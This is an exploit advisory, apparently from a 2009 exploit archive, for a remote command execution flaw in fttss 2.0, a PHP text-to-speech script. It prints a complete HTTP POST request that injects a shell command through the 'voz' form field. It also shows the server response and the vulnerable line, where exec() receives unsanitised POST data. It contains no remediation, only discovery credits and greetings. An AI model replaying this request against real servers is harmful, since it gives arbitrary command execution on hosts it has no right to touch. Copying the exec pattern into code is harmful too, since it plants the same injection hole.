fttss <= 2.0 Remote Command Execution Vulnerability

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   [ Discovered by dun \ dun[at]strcpy.pl ]
   
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 #  [ fttss <= 2.0 ]  Remote Command Execution Vulnerability  #
 ##############################################################
 #
 # Script: "A Free Text-To-Speech System"
 #
 # Script site: http://fttss.sourceforge.net/
 # Download: http://sourceforge.net/projects/fttss/
 #
 # [RCE] Vuln: http://site.com/fttss/TFLivre.php
 #	
 # 	POST /fttss/TFLivre.php HTTP/1.1
 #	
 #	Host: site.com
 #	User-Agent: Mozilla/5.0
 #	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #	Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #	Accept-Encoding: gzip,deflate
 #	Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 #	Keep-Alive: 300
 #	Connection: keep-alive
 #	Content-Type: application/x-www-form-urlencoded
 #	Content-Length: 41
 #	
 #	texto_original=a&voz=|uname -a>/tmp/dupa;
 #	
 # HTTP/1.x 200 OK
 # Date: Sun, 11 Jan 2009 16:24:57 GMT
 # Server: Apache
 # X-Powered-By: PHP/5.2.8-pl1-gentoo
 # Content-Length: 1731
 # Keep-Alive: timeout=15, max=100
 # Connection: Keep-Alive
 # Content-Type: text/html
 #     
 # Bug: ./fttss_v2.0/TFLivre.php (line: 110)
 #
 # ...
 #		exec("./mbrola-linux-i386 -e ".$_POST[voz]." $dirsaida/saida.txt ".$nome_som.".wav"); //$dirsaida/saida".$npid.".wav");
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
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 [ dun / 2009 ] 

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